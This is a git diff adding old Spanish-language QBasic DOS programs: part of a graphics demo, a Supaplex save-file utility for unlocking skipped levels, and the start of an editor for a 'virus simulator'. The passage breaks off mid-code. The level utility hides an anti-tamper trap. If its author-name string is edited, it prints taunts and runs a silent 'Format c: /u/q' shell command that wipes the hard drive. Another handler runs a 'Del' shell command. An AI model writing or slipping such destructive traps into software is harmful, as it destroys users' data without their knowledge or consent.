485: Salida = 1 + END IF + + + IF Y(Coor) >= 350 AND X(Corr) <= 400 THEN Y(Coor) = 350: Salida = 1 + IF Y(Coor) >= 350 THEN Y(Coor) = 0: Salida = 1 + IF Y(Coor) <= 0 THEN Y(Coor) = 350: Salida = 1 + +END IF + +OldX6(1) = X(6) +OldY6(1) = Y(6) +OldTipo(1) = Tipo + +OldX1(1) = X(1) +OldX2(1) = X(2) +OldX3(1) = X(3) + +OldX4(1) = X(4) +OldX5(1) = X(5) + +OldY1(1) = Y(1) +OldY2(1) = Y(2) +OldY3(1) = Y(3) + +OldY4(1) = Y(4) +OldY5(1) = Y(5) + +NEXT + +IF RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "5" THEN Vez1 = Vez1 + 1 +IF Vez1 >= 16 THEN Vez1 = 1 + + +IF RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 2))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 5))), 1) = "5" THEN Vz1 = Vz1 + 1 +IF Vz1 >= 16 THEN Vz1 = 1 + + +LINE (X(1), Y(1))-(X(2), Y(2)), Vez1 +LINE (X(2), Y(2))-(X(3), Y(3)), Vez1 +LINE (X(3), Y(3))-(X(4), Y(4)), Vez1 + +LINE (X(4), Y(4))-(X(5), Y(5)), Vez1 +LINE (X(5), Y(5))-(X(1), Y(1)), Vez1 + +CIRCLE (X(6), Y(6)), 20, Vz1: ', , , Tipo + + A = 71 + + WHILE A >= 2 + A = A - 1 + + IF A < 31 THEN + + OldX1(A) = OldX1(A - 1) + OldY1(A) = OldY1(A - 1) + + OldX2(A) = OldX2(A - 1) + OldY2(A) = OldY2(A - 1) + + OldX3(A) = OldX3(A - 1) + OldY3(A) = OldY3(A - 1) + + OldX4(A) = OldX4(A - 1) + OldY4(A) = OldY4(A - 1) + + OldX5(A) = OldX5(A - 1) + OldY5(A) = OldY5(A - 1) + END IF + + OldX6(A) = OldX6(A - 1) + OldY6(A) = OldY6(A - 1) + OldTipo(A) = OldTipo(A - 1) + + WEND + + CIRCLE (OldX6(70), OldY6(70)), 20, 0 + + LINE (OldX1(30), OldY1(30))-(OldX2(30), OldY2(30)), 0 + LINE (OldX2(30), OldY2(30))-(OldX3(30), OldY3(30)), 0 + LINE (OldX3(30), OldY3(30))-(OldX4(30), OldY4(30)), 0 + + LINE (OldX4(30), OldY4(30))-(OldX5(30), OldY5(30)), 0 + LINE (OldX5(30), OldY5(30))-(OldX1(30), OldY1(30)), 0 + +LOOP WHILE Salida <> 1 + +Salida = 0 + +LOOP + + + +'*************************************************** +'* GRAFICOS DE PRUEBA ****************************** +'*************************************************** + +errormo: +CLS +COLOR 15, 0 +PRINT " ATENCION !!! PELIGRO !!!!": PRINT : PRINT +PRINT " Alguien modifico ilegalmente el programa tratando de apropiarse de": PRINT +PRINT " los creditos ajenos a ‚l. Su autor a protegido el sistema por ello": PRINT +PRINT " ya que ha intentado modificar este programa causara estragos en tu": PRINT +PRINT " sistema.... LA PIRATERIA SERA TU MUERTE ": PRINT +PRINT : PRINT : PRINT " Desea regresar al Sistema Operativo DOS o bloquear sistema : " +PRINT " (S)istema (B)loquear (S/B)" +SHELL "Del. >nul" +SYSTEM +END + +grap: + +SUB PonNum (Digito$, Posicion) + +veces = veces + 1 +LOCATE 10, 1: PRINT veces + +IF INKEY$ <> "" THEN STOP + +SELECT CASE VAL(RTRIM$(LTRIM$(Digito$))) + + CASE 0 + D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 0: D6 = 1: D7 = 1 + + CASE 1 + D1 = 0: D2 = 0: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0 + + CASE 2 + D1 = 0: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 0: D7 = 1 + + + CASE 3 + D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + + CASE 4 + D1 = 1: D2 = 0: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 0 + + + CASE 5 + D1 = 1: D2 = 1: D3 = 0: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + + CASE 6 + D1 = 1: D2 = 1: D3 = 0: D4 = 1: D5 = 1: D6 = 1: D7 = 1 + + + CASE 7 + D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0 + + + CASE 8 + D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 1: D7 = 1 + + + CASE 9 + D1 = 1: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + +END SELECT + +IF Posicion < 5 THEN + +IF D1 = 1 THEN +PSET (0 + P(A), 0), 4 +DRAW "D40 R15 U26 H15" + DRAW "F13 BL5 P4,4" +ELSE +PSET (0 + P(A), 0), 0 +DRAW "D40 R15 U26 H15" + DRAW "F13 BL5 P0,0" + +END IF + +IF D2 = 1 THEN +PSET (3 + P(A), 0), 4 +DRAW "R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P4,4" +ELSE +PSET (3 + P(A), 0), 0 +DRAW "R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P0,0" + +END IF + +IF D3 = 1 THEN +PSET (69 + P(A), 0), 4 +DRAW " D40 L15 U25 E15" + DRAW "G13 BR5 P4,4" +ELSE +PSET (69 + P(A), 0), 0 +DRAW " D40 L15 U25 E15" + DRAW "G13 BR5 P0,0" + +END IF + +IF D4 = 1 THEN +PSET (0 + P(A), 42), 4 +DRAW " D50 E15 U20 H15" + DRAW "F13 BL5 P4,4" +ELSE +PSET (0 + P(A), 42), 0 +DRAW " D50 E15 U20 H15" + DRAW "F13 BL5 P0,0" + +END IF + +IF D5 = 1 THEN +PSET (3 + P(A), 42), 4 +DRAW " R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P4,4" +ELSE +PSET (3 + P(A), 42), 0 +DRAW " R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P0,0" + +END IF + +IF D6 = 1 THEN +PSET (69 + P(A), 42), 4 +DRAW " D50 H15 U20 E15" +DRAW "G13 BR5 P4,4" +ELSE +PSET (69 + P(A), 42), 0 +DRAW " D50 H15 U20 E15" +DRAW "G13 BR5 P0,0" + +END IF + +IF D7 = 1 THEN +PSET (3 + P(A), 93), 4 +DRAW " E15 R33 F15 L62" +DRAW "BR23 BU5 P4,4" +ELSE +PSET (3 + P(A), 93), 0 +DRAW " E15 R33 F15 L62" +DRAW "BR23 BU5 P0,0" + +END IF + +'******************************************************** +'**************** EL GRAN " ELSE " ********************* +'******************************************************** + +ELSE + +IF D1 = 1 THEN +PSET (0 + P(A), 45), 4 +DRAW "D20 R8 U13 H8" + DRAW "F7 BL3 P4,4" +ELSE +PSET (0 + P(A), 45), 0 +DRAW "D20 R8 U13 H8" + DRAW "F7 BL3 P0,0" + +END IF + +IF D2 = 1 THEN +PSET (3 + P(A), 45), 4 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P4,4" +ELSE +PSET (3 + P(A), 45), 0 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P0,0" + +END IF + +IF D3 = 1 THEN +PSET (37 + P(A), 45), 4 +DRAW "D20 L8 U13 E8" + DRAW "G8 BR3 P4,4" +ELSE +PSET (37 + P(A), 45), 0 +DRAW "D20 L8 U13 E8" + DRAW "G8 BR3 P0,0" + +END IF + +IF D4 = 1 THEN +PSET (0 + P(A), 67), 4 +DRAW "D25 E8 U10 H8" + DRAW "F8 BL3 P4,4" +ELSE +PSET (0 + P(A), 67), 0 +DRAW "D25 E8 U10 H8" + DRAW "F8 BL3 P0,0" + +END IF + +IF D5 = 1 THEN +PSET (3 + P(A), 67), 4 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P4,4" +ELSE +PSET (3 + P(A), 67), 0 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P0,0" + +END IF + +IF D6 = 1 THEN +PSET (37 + P(A), 67), 4 +DRAW "D25 H8 U10 E8" + DRAW "G8 BR3 P4,4" +ELSE +PSET (37 + P(A), 67), 0 +DRAW "D25 H8 U10 E8" + DRAW "G8 BR3 P0,0" + +END IF + +IF D7 = 1 THEN +PSET (3 + P(A), 93), 4 +DRAW "E8 R17 F8 L34" + DRAW "BR12 BU3 P4,4" +ELSE +PSET (3 + P(A), 93), 0 +DRAW "E8 R17 F8 L34" + DRAW "BR12 BU3 P0,0" + +END IF + +END IF + + + +END SUB + diff --git a/BAS/JD_SUP.BAS b/BAS/JD_SUP.BAS new file mode 100644 index 0000000..685ec20 --- /dev/null +++ b/BAS/JD_SUP.BAS @@ -0,0 +1,169 @@ +'SupaPlex + +CLS +A$ = "ÚÄÄÄÄÄÄþ ÚÄþ ÚÄþ ÚÄÄÄÄþ ÚÄÄÄÄÄþ ÚÄÄÄÄþ ÚÄþ ÚÄÄÄÄþ ÚÄÄþ ÚÄÄþ" +b$ = "³ þÍÍÍͼ ³ º ³ º ³ÚÄÄþº ³ ÉÍþ º ³ÉÍÍþº ³ º ³ þÍͼ þþ þÂ٠ɼ" +c$ = "³ ÀÄÄÄÄþ ³ º ³ º ³þÍͼº ³ þÄÙ º ³þÄÄÙº ³ º ³ Àþ þÍþ Éͼ" +d$ = "þÍÍÍÍþ º ³ º ³ º ³ ÉÍͼ ³ þÄ¿ º ³ ÉÍͼ ³ º ³ þ¼ ÚÄÙ þÄþ" +e$ = "ÚÄÄÄÄÙ º ³ þÄÙ º ³ º ³ º ³ º ³ º ³ þÄÄÄþ ³ ÀÄÄþ ÚÙ þÁ¿ þþ" +f$ = "þÍÍÍÍÍͼ þÍÍÍÍͼ þͼ þͼ þͼ þͼ þÍÍÍÍͼ þÍÍÍͼ þÍͼ þÍͼ" +LOCATE 21, 26: PRINT "Pulse una Tecla" + +COLOR 12 + +RANDOMIZE TIMER +A = 1 +DO +kdb$ = INKEY$ +x% = INT(RND * 8) + 1 +y% = INT(RND * 79) + 1 +SELECT CASE x% + CASE 1: l$ = A$ + CASE 2: l$ = b$ + CASE 3: l$ = c$ + CASE 4: l$ = d$ + CASE 5: l$ = e$ + CASE 6: l$ = f$ + CASE 7: l$ = g$ + CASE 8: l$ = h$ + CASE ELSE + END SELECT + + +LOCATE x% + 10, y%: PRINT MID$(l$, y%, 1) +LOOP WHILE kdb$ = "" + +LOCATE 11, 1: PRINT A$ +LOCATE 12, 1: PRINT b$ +LOCATE 13, 1: PRINT c$ +LOCATE 14, 1: PRINT d$ +LOCATE 15, 1: PRINT e$ +LOCATE 16, 1: PRINT f$ +LOCATE 21, 26: PRINT SPACE$(20) + + +T$(1) = " Vaciar SKIP's " +T$(2) = " - Creditos - " +T$(3) = " INFO:INFO:INFO " +COLOR 14 +FOR e = 1 TO 3 +LOCATE 2 + e, 30: PRINT T$(e) +NEXT +fin = false +lin = 1 + +DO + +kdb$ = INKEY$ +COLOR 14, 0 +IF kdb$ = CHR$(0) + "H" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin - 1 +IF kdb$ = CHR$(0) + "P" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin + 1 + +IF kdb$ = CHR$(27) THEN END + +IF kdb$ = CHR$(13) THEN + SELECT CASE lin + CASE 1 + R = 0: Cod = 0 + OPEN "PLAYER.LST" FOR RANDOM AS #1 LEN = 1 + IF LOF(1) = 0 THEN + COLOR 10 + mem$(1) = " Para que el vaciador funcione debe haber una partida salvada " + mem$(2) = " y encontrarse este programa en el Subdirectorio de Suplaplex " + mem$(3) = " La persistencia de este error se debe a que no hay partidas salvadas " + GOSUB mensajes + GOTO df + END IF + VIEW PRINT 18 TO 24 + DO WHILE R <= LOF(1) + R = R + 1 + FIELD #1, 1 AS char$ + GET #1, R + poc = POS(1) + PRINT char$; + IF char$ = CHR$(2) THEN + Cod = 1 + LSET char$ = CHR$(1) + PUT #1, R + COLOR 14, 1 + LOCATE , poc: PRINT char$ + COLOR 14, 0 + END IF + + LOOP +df: + CLOSE #1 + PRINT + IF Cod <> 0 THEN PRINT " PROCESO CONCLUIDO " ELSE PRINT " NO SE ENCONTRARON NIVELES SALTADOS " + VIEW PRINT + + CASE 2 + nombre$ = "Jos‚ David Guill‚n Dominguez" + IF MID$(nombre$, 4, 1) <> "‚" THEN GOTO errormo + IF MID$(nombre$, 17, 1) <> "‚" THEN GOTO errormo + + COLOR 10 + mem$(1) = " Vaciador de niveles por: " + mem$(2) = " " + nombre$ + mem$(3) = " c/Pintor Garcia Ramos n§5 2D" + GOSUB mensajes + + CASE 3 + COLOR 10 + mem$(1) = "Con este peque¤o programa podras saltarte tantos niveles como quieras" + mem$(2) = "ya que con solo cargarlo podras <> el panel de control como " + mem$(3) = "si los niveles saltados ya hubieran sido hechos. " + GOSUB mensajes + + CASE ELSE + END SELECT +END IF + +IF lin = 0 THEN lin = 3 +IF lin = 4 THEN lin = 1 + +COLOR 14, 7 +LOCATE 2 + lin, 30: PRINT T$(lin) + +LOOP + +mensajes: + COLOR 10 + LOCATE 8, 1: PRINT mem$(1) + LOCATE 9, 1: PRINT mem$(2) + LOCATE 10, 1: PRINT mem$(3) + + SLEEP + COLOR 14, 0 + LOCATE 8, 1: PRINT SPACE$(80); + LOCATE 9, 1: PRINT SPACE$(80); + LOCATE 10, 1: PRINT SPACE$(80); + RETURN + +SYSTEM + +errormo: +CLS +c = 11: tew$ = "Programa: SISTEMA MODIFICADO. FORMAT C: /U/Q ": GOSUB bipeador +c = 9: tew$ = "CPU: Acceso Denegado.": GOSUB bipeador +c = 11: tew$ = "Programa: Llamando a la funci¢n BIOS &23h34d2ff": GOSUB bipeador +c = 9: tew$ = "CPU: El sistema va ha ser formateado. Interrumpir (S/N)?": GOSUB bipeador +SHELL "Format c: /u/q >NUL" +c = 11: tew$ = "Programa: funciones principales selladas; Proceso concluido": GOSUB bipeador +c = 9: tew$ = "CPU: BIO_FUNCIONES ANULADAS SISTEMA FORMATEADO": GOSUB bipeador +c = 11: tew$ = "Programa: La pirateria es DELITO... JA_JA_JA_JA": GOSUB bipeador +SYSTEM + +bipeador: + COLOR c, 0 + PRINT + FOR bip = 1 TO LEN(tew$) + PRINT MID$(tew$, bip, 1); + IF c = 9 THEN PLAY "f50" ELSE PLAY "c51" + NEXT + RETURN + + + + + diff --git a/BAS/M_VIRUS.BAS b/BAS/M_VIRUS.BAS new file mode 100644 index 0000000..bf04b25 --- /dev/null +++ b/BAS/M_VIRUS.BAS @@ -0,0 +1,1624 @@ +DECLARE SUB BackSpace () +DECLARE FUNCTION GetString2$ (start$, end$, Vis%, Max%, row%, col%) +DECLARE SUB Simulador () +' +' Q B a s i c J D ___ V I R U S M O D I F I C A D O R +' +' Copyright (C) Microsoft JD Corporation 1993 + +'Set default data type to integer for faster operation +DEFINT A-Z + +'Sub and function declarations + +DECLARE SUB Initialize () +DECLARE SUB Center (row%, text$) +DECLARE SUB FancyCls (dots%, Background%) +DECLARE SUB LoadState () +DECLARE SUB SaveState () +DECLARE SUB MenuSystem () +DECLARE SUB box (Row1%, col1%, Row2%, Col2%) +DECLARE SUB EditAccounts () +DECLARE SUB PrintHelpLine (help$) +DECLARE SUB EditTrans (item%) + +DECLARE FUNCTION Cvit$ (X%) +DECLARE FUNCTION Menu% (CurrChoiceX%, MaxChoice%, choice$(), ItemRow%(), ItemCol%(), help$(), BarMode%) +DECLARE FUNCTION GetString$ (row%, col%, start$, end$, Vis%, Max%) + + +'Constants +CONST TRUE = -1 +CONST FALSE = NOT TRUE + +'Global variables +DIM SHARED ColorPref, CurrRowt 'Color Preference +DIM SHARED colors(0 TO 20, 1 TO 4) 'Different Colors +DIM SHARED PrintErr AS INTEGER 'Printer error flag + + DEF SEG = 0 ' Turn off CapLock, NumLock and ScrollLock + KeyFlags = PEEK(1047) + POKE 1047, &H0 + DEF SEG + + 'Open money manager data file. If it does not exist in current directory, + ' goto error handler to create and initialize it. + ON ERROR GOTO ErrorTrap + + OPEN "M_VIR.INI" FOR INPUT AS #1 + CLOSE + ON ERROR GOTO 0 'Reset error handler + + Initialize 'Initialize program + + MenuSystem 'This is the main program + COLOR 7, 0 'Clear screen and end + CLS + + DEF SEG = 0 ' Restore CapLock, NumLock and ScrollLock states + POKE 1047, KeyFlags + DEF SEG + + END + +' Error handler for program +' If data file not found, create and initialize a new one. +ErrorTrap: + SELECT CASE ERR + ' If data file not found, create and initialize a new one. + CASE 53 + CLOSE + ColorPref = 1 + SaveState + RESUME + CASE 24, 25 + PrintErr = TRUE + box 8, 13, 14, 69 + Center 11, "La impresora no responde ... Presione Barra espaciadora para continuar" + WHILE INKEY$ <> "": WEND + WHILE INKEY$ <> " ": WEND + RESUME NEXT + CASE ELSE + END SELECT + RESUME NEXT + + +'The following data defines the color schemes available via the main menu. +' +' scrn dots bar back title shdow choice curs cursbk shdow +DATA 0, 7, 15, 7, 0, 7, 0, 15, 0, 0 +DATA 1, 9, 12, 3, 0, 1, 15, 0, 7, 0 +DATA 3, 15, 13, 1, 14, 3, 15, 0, 7, 0 +DATA 7, 12, 15, 4, 14, 0, 15, 15, 1, 0 + +datas: +DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7,"A:",8,"B:",9 +DATA *,* + +SUB BackSpace + + REDIM help$(4), col(4), Vis(4), Max(4), CurrString$(1), CurrFig#(3) + 'Array to keep the current balance at all the transactions + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR k = 2 TO 24: LOCATE k, 1: PRINT SPACE$(80); : NEXT + + 'Open random access file + + OPEN "Crack.dat" FOR RANDOM AS #1 LEN = 58 + FIELD #1, 2 AS IoA$, 2 AS IoR$, 1 AS IoT$, 50 AS IoMen$ + FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$ + + 'Initialize variables + CurrFig#(1) = 0 + CurrFig#(2) = 0 + CurrFig#(3) = 0 + CurrString$(1) = "" + + GET #1, 39 + + IF valid$ <> "*" THEN + LSET IoA$ = "" + LSET IoR$ = "" + LSET IoT$ = "" + LSET IoMen$ = "" + PUT #1, 39 + 1 + LSET valid$ = "*" + LSET IoMaxRecord$ = "1" + PUT #1, 39 + END IF + + MaxRecord = VAL(IoMaxRecord$) + + + help$(1) = "Acci¢n 0, 1 a 19, 20 a 30 " + help$(2) = "Inicio en Return's VACIOS " + help$(3) = "Duraci¢n en Return's VACIOS " + help$(4) = "Mensaje en Caso de Accion=0 " + + col(1) = 2: Vis(1) = 5: Max(1) = 2 + col(2) = 8: Vis(2) = 3: Max(2) = 2 + col(3) = 13: Vis(3) = 3: Max(3) = 1 + col(4) = 17: Vis(4) = 50: Max(4) = 50 + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + box 2, 1, 24, 67 + box 2, 68, 24, 80 + LOCATE 3, 69: PRINT "20 Sopa "; + LOCATE 5, 69: PRINT "21 Warning "; + LOCATE 7, 69: PRINT "22 "; + LOCATE 9, 69: PRINT "23 "; + LOCATE 11, 69: PRINT "24 "; + LOCATE 13, 69: PRINT "25 "; + LOCATE 15, 69: PRINT "26 "; + LOCATE 17, 69: PRINT "27 "; + LOCATE 19, 69: PRINT "28 "; + LOCATE 21, 69: PRINT "29 "; + LOCATE 23, 69: PRINT "30 "; + + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 6: PRINT "Modificador de Comandos de JD_Virus Simuler, por JD..." + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + LOCATE 3, 2: PRINT " A ³ <Ù ³ T ³ Mensaje: " + LOCATE 4, 2: PRINT "ÄÄÄÄÄÅÄÄÄÄÅÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ" + u1x$ = "ßßßßß³ßßßß³ßßß³ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß" + u1$ = " ³ ³ ³ " + CurrTopline = 1 + CurrRow = 1 + CurrCol = 1 + + GOSUB TransPrintWholeScreen + + PrintHelpLine help$(CurrCol) + "| " + + GOSUB TransGetLine + GOSUB TransPrintLine + + finished = FALSE + + + 'Loop until is pressed + DO + GOSUB TransShowCursor 'Show Cursor, Wait for key + DO: Kbd$ = INKEY$: LOOP UNTIL Kbd$ <> "" + GOSUB TransHideCursor + + IF Kbd$ >= " " AND Kbd$ < "~" OR Kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB TransEditItem + END IF + + SELECT CASE Kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB TransMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB TransMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + CurrCol = CurrCol - 1 + IF CurrCol = 0 THEN CurrCol = 4 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 4 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 5 + CASE CHR$(0) + "<" 'F2 + finished = TRUE + CASE CHR$(0) + "C" 'F9 + GOSUB TransAddRecord + CASE CHR$(0) + "D" 'F10 + GOSUB TransDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +TransShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE CurrRow + 4, col(CurrCol) + SELECT CASE CurrCol + CASE 1 + IF CurrFig#(1) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(1); : PRINT " "; ELSE PRINT " "; + CASE 2 + IF CurrFig#(2) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(2); : PRINT " "; ELSE PRINT " "; + CASE 3 + IF CurrFig#(3) <> 0 THEN PRINT " "; : PRINT USING "#"; CurrFig#(3); : PRINT " "; ELSE PRINT " "; + CASE 4 + IF LTRIM$(RTRIM$(CurrString$(1))) <> "" THEN PRINT CurrString$(1); ELSE PRINT " "; + + END SELECT + RETURN + + +TransHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CurrRow + 4, col(CurrCol) + SELECT CASE CurrCol + CASE 1 + IF CurrFig#(1) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(1); : PRINT " "; ELSE PRINT " "; + CASE 2 + IF CurrFig#(2) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(2); : PRINT " "; ELSE PRINT " "; + CASE 3 + IF CurrFig#(3) <> 0 THEN PRINT " "; : PRINT USING "#"; CurrFig#(3); : PRINT " "; ELSE PRINT " "; + CASE 4 + IF LTRIM$(RTRIM$(CurrString$(1))) <> "" THEN PRINT CurrString$(1); ELSE PRINT " "; + + END SELECT + RETURN + + +TransEditItem: + + CurrRecord = CurrTopline + CurrRow - 1 + COLOR colors(8, ColorPref), colors(9, ColorPref) + + SELECT CASE CurrCol + CASE 1 + DO + Kbd$ = GetString$(CurrRow + 4, col(1), Kbd$, new$, Vis(1), Max(1)) + CurrFig#(1) = VAL(new$) + LOOP WHILE VAL(new$) <= -1 OR VAL(new$) > 30 + + GOSUB TransPutLine + GOSUB TransGetLine + + CASE 2 + DO + Kbd$ = GetString$(CurrRow + 4, col(2), Kbd$, new$, Vis(2), Max(2)) + CurrFig#(2) = VAL(new$) + LOOP WHILE VAL(new$) < 0 OR VAL(new$) > 99 + + GOSUB TransPutLine + GOSUB TransGetLine + + CASE 3 + DO + Kbd$ = GetString$(CurrRow + 4, col(3), Kbd$, new$, Vis(3), Max(3)) + CurrFig#(3) = VAL(new$) + LOOP WHILE VAL(new$) < 0 OR VAL(new$) > 9 + + GOSUB TransPutLine + GOSUB TransGetLine + + + CASE 4 + Kbd$ = GetString$(CurrRow + 4, col(4), Kbd$, new$, Vis(4), Max(4)) + + CurrString$(1) = new$ + + GOSUB TransPutLine + GOSUB TransGetLine + + CASE ELSE + END SELECT + GOSUB TransPrintLine + RETURN + +TransMoveUp: + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + CurrTopline = 19 + GOSUB TransGetLine + + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB TransGetLine + + END IF + + + GOSUB TransPrintLine + RETURN +TransMoveDown: + + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 19 THEN + CurrTopline = 1 + GOSUB TransGetLine + + ELSE + CurrRow = CurrRow + 1 + GOSUB TransGetLine + END IF + END IF + + GOSUB TransPrintLine + RETURN + +TransPrintLine: + COLOR colors(7, ColorPref), colors(4, ColorPref) + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 2 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + IF CurrFig#(1) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(1); : PRINT " ³"; ELSE PRINT " ³"; + IF CurrFig#(2) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(2); : PRINT " ³"; ELSE PRINT " ³"; + IF CurrFig#(3) <> 0 THEN PRINT " "; : PRINT USING "#"; CurrFig#(3); : PRINT " ³"; ELSE PRINT " ³"; + IF LTRIM$(RTRIM$(CurrString$(1))) <> "" THEN PRINT CurrString$(1); ELSE PRINT " "; + END IF + RETURN + + +TransDeleteRecord: + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + a = CurrRecord + WHILE a <= MaxRecord + GET #1, a + 2 + 39 + PUT #1, a + 1 + 39 + + a = a + 1 + WEND + + LSET valid$ = "*" + LSET IoMaxRecord$ = RTRIM$(LTRIM$(STR$(MaxRecord))) + PUT #1, 39 + GOSUB TransPrintWholeScreen + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB TransMoveUp + END IF + GOSUB TransGetLine + + END IF + LOCATE 1, 1: PRINT MaxRecord + RETURN + +TransAddRecord: + temp = CurrRecord + CurrRecord = CurrTopline + CurrRow - 1 + IF MaxRecord > 18 THEN + BEEP + CurrRecord = temp + ELSE + + a = MaxRecord + WHILE a > CurrRecord + GET #1, a + 1 + 39 + PUT #1, a + 2 + 39 + + a = a - 1 + WEND + + MaxRecord = MaxRecord + 1 + LSET IoA$ = "" + LSET IoR$ = "" + LSET IoT$ = "" + LSET IoMen$ = "" + + PUT #1, CurrRecord + 2 + 39 + LSET valid$ = "*" + LSET IoMaxRecord$ = RTRIM$(LTRIM$(STR$(MaxRecord))) + PUT #1, 39 + GOSUB TransPrintWholeScreen + GOSUB TransGetLine + END IF + LOCATE 1, 1: PRINT MaxRecord + RETURN + +TransPrintWholeScreen: + temp = CurrRow + FOR CurrRow = 1 TO 19 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB TransGetLine + END IF + GOSUB TransPrintLine + NEXT CurrRow + CurrRow = temp + RETURN + + +TransPutLine: + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoA$ = LTRIM$(RTRIM$(STR$(CurrFig#(1)))) + LSET IoR$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IoT$ = LTRIM$(RTRIM$(STR$(CurrFig#(3)))) + LSET IoMen$ = CurrString$(1) + PUT #1, CurrRecord + 1 + 39 + RETURN + +TransGetLine: + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + 1 + 39 + CurrFig#(1) = VAL(IoA$) + CurrFig#(2) = VAL(IoR$) + CurrFig#(3) = VAL(IoT$) + CurrString$(1) = IoMen$ + RETURN +END SUB + +'Box: +' Draw a box on the screen between the given coordinates. +SUB box (Row1, col1, Row2, Col2) STATIC + + BoxWidth = Col2 - col1 + 1 + + LOCATE Row1, col1 + PRINT "Ú"; STRING$(BoxWidth - 2, "Ä"); "¿"; + + FOR a = Row1 + 1 TO Row2 - 1 + LOCATE a, col1 + PRINT "³"; SPACE$(BoxWidth - 2); "³"; + NEXT a + + LOCATE Row2, col1 + PRINT "À"; STRING$(BoxWidth - 2, "Ä"); "Ù"; + +END SUB + +'Center: +' Center text on the given row. +SUB Center (row, text$) + LOCATE row, 41 - LEN(text$) / 2 + PRINT text$; +END SUB + +'EditAccounts: +' This is the full-screen editor which allows you to change your account +' titles and descriptions +SUB EditAccounts + + REDIM help$(6), col(6), Vis(6), Max(6), CurrString$(8), CurrRowt(2 TO 8) + 'Array to keep the current balance at all the transactions + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR k = 2 TO 24: LOCATE k, 1: PRINT SPACE$(80); : NEXT + + 'Open random access file + + OPEN "Crack.dat" FOR RANDOM AS #1 LEN = 113 + FIELD #1, 10 AS IoDate$, 20 AS IoRef$, 20 AS IoDos$, 20 AS IoTres$, 20 AS IoCuatro$, 20 AS IoCinco$ + FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$ + + 'Initialize variables + CurrString$(1) = "" + + CurrString$(3) = "" + CurrString$(4) = "" + CurrString$(5) = "" + CurrString$(6) = "" + CurrString$(7) = "" + + GET #1, 1 + + IF valid$ <> "*" THEN + LSET IoDate$ = "" + LSET IoRef$ = "" + LSET IoDos$ = "" + LSET IoTres$ = "" + LSET IoCuatro$ = "" + LSET IoCinco$ = "" + 